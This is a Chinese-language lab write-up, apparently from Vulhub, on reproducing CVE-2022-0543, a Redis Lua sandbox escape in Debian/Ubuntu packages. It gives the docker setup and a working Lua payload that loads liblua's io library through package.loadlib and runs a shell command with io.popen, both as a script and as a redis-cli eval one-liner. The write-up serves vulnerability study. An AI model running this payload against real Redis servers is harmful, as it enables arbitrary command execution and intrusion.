1. 程式人生 > 其它 >Redis Lua沙盒繞過命令執行(CVE-2022-0543)

Redis Lua沙盒繞過命令執行(CVE-2022-0543)

Redis是著名的開源Key-Value資料庫,其具備在沙箱中執行Lua指令碼的能力。

Debian以及Ubuntu發行版的源在打包Redis時,不慎在Lua沙箱中遺留了一個物件package,攻擊者可以利用這個物件提供的方法載入動態連結庫liblua裡的函式,進而逃逸沙箱執行任意命令。

參考連結:

漏洞環境

執行如下命令啟動一個使用Ubuntu源安裝的Redis 5.0.7伺服器:

docker-compose up -d

服務啟動後,我們可以使用redis-cli -h your-ip連線這個redis伺服器。

漏洞復現

我們藉助Lua沙箱中遺留的變數packageloadlib函式來載入動態連結庫/usr/lib/x86_64-linux-gnu/liblua5.1.so.0裡的匯出函式luaopen_io。在Lua中執行這個匯出函式,即可獲得io庫,再使用其執行命令:

local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res

值得注意的是,不同環境下的liblua庫路徑不同,你需要指定一個正確的路徑。在我們Vulhub環境(Ubuntu fiocal)中,這個路徑是/usr/lib/x86_64-linux-gnu/liblua5.1.so.0

連線redis,使用eval命令執行上述指令碼:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

可見命令已成功執行: